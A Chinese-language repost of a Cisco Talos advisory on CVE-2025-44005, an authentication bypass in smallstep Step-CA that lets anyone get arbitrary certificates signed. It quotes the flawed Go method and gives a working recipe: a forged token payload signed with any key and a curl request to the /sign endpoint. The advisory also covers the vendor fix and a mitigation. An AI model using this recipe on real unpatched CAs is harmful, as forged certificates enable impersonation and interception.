Step-CA ACME与SCEP证书签发存在认证绕过高危漏洞分析

思科Talos团队披露了smallstep Step-CA证书颁发机构中存在的一个高危认证绕过漏洞(CVE-2025-44005)。攻击者可利用此漏洞,在未完成必要授权检查的情况下,诱使ACME或SCEP证书配置器签发任意证书,CVSS评分高达10.0。

TALOS-2025-2242 || smallstep Step-CA 证书签发认证绕过漏洞

发布日期 2025年12月17日

CVE编号 CVE-2025-44005

概述 攻击者可以绕过授权检查,强制Step CA的ACME或SCEP配置器在未完成特定协议授权检查的情况下创建证书。

已确认的受影响版本 以下版本经Talos测试、验证或供应商确认为易受攻击。

  • smallstep Step-CA 0.28.4
  • smallstep Step-CA v0.28.3

产品链接

CVSSv3 评分 10.0 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

CWE CWE-287 - 不恰当的身份验证

详细说明 Smallstep的step-ca是一个开源、轻量级的证书颁发机构(CA),旨在简化数字证书的管理,以实现安全身份验证和加密。它提供工具用于自动化内部服务、设备和用户的证书颁发和续订。通过支持ACME、OIDC和SSH等现代协议,step-ca使得在云原生和DevOps环境中部署和管理证书变得容易。

Smallstep的step-ca平台在设置证书配置器时为用户提供多种选择。其中之一是设置使用ACME协议的配置器。此配置器旨在与一组单独的、用于支持ACME协议流程的ACME API端点配合使用。

该服务中也存在供其他类型配置器使用的端点。这些端点会根据所使用的配置器类型执行令牌授权。这些端点似乎并非设计为与ACME配置器协同工作。当向ACME配置器请求新令牌时,会抛出错误,提示不支持令牌认证。

然而,存在一个漏洞,原因是指定了ACME配置器的令牌被非ACME端点所接受。例如,/sign端点使用配置器的AuthorizeSign方法来验证提供的令牌。以下是ACME配置器的AuthorizeSign方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
// AuthorizeSign does not do any validation, because all validation is handled
// in the ACME protocol. This method returns a list of modifiers / constraints
// on the resulting certificate.
func (p *ACME) AuthorizeSign(context.Context, string) ([]SignOption, error) {
    opts := []SignOption{
        p,
        // modifiers / withOptions
        newProvisionerExtensionOption(TypeACME, p.Name, "").WithControllerOptions(p.ctl),
        newForceCNOption(p.ForceCN),
        profileDefaultDuration(p.ctl.Claimer.DefaultTLSCertDuration()),
        // validators
        defaultPublicKeyValidator{},
        newValidityValidator(p.ctl.Claimer.MinTLSCertDuration(), p.ctl.Claimer.MaxTLSCertDuration()),
        newX509NamePolicyValidator(p.ctl.getPolicy().getX509()),
        p.ctl.newWebhookController(nil, linkedca.Webhook_X509),
    }

    return opts, nil
}

上述方法不对提供的令牌执行任何验证。这意味着任何标识配置器为ACME配置器的令牌都将被视为有效。

攻击者可以轻松创建一个满足这些要求的令牌,并且能够使用用户step-ca服务中设置的CA对任何CSR(证书签名请求)进行签名。

要利用此漏洞,攻击者需要:

  1. 创建一个新的CSR。
  2. 通过使用任意密钥对以下载荷进行签名来创建一个令牌:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
{
    "aud": "acme/{ACME配置器名称}",
    "exp": {时间戳},
    "iat": {时间戳},
    "iss": "{任意值}",
    "jti": "{任意值}",
    "nbf": {时间戳},
    "sans": [
        "{任意值}"
    ],
    "sha": "{任意值}",
    "sub": "{任意值}",
    "user": {}
}
  1. 使用该令牌向/sign端点发送请求:
    1
    2
    3
    4
    5
    
    $ curl -k https://{step-ca-url}/sign -d "{\"csr\":\"$CSR\",\"ott\":\"$TOKEN\"}"
    {
        "crt": "-----BEGIN CERTIFICATE-----\n…"
    }
    

供应商回应 在v0.29.0版本中,ACME和SCEP配置器已更新,以阻止提供令牌的请求。 如果无法升级到v0.29.0或更高版本,可以通过阻止访问/sign端点来缓解此攻击。

时间线

  • 2025-09-29 - 首次联系供应商
  • 2025-09-30 - 向供应商披露
  • 2025-12-02 - 供应商发布补丁
  • 2025-12-17 - 公开发布

致谢 Cisco Advanced Security Initiatives Group (ASIG) 的 Stephen Kubik

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计